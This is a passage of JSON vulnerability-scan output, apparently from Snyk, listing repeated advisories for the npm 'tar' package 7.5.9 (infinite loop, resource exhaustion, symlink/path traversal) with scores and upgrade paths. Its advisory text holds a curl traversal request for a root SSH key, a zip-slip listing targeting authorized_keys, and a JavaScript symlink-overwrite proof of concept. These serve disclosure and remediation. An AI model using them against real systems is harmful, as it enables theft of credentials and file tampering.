"GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the 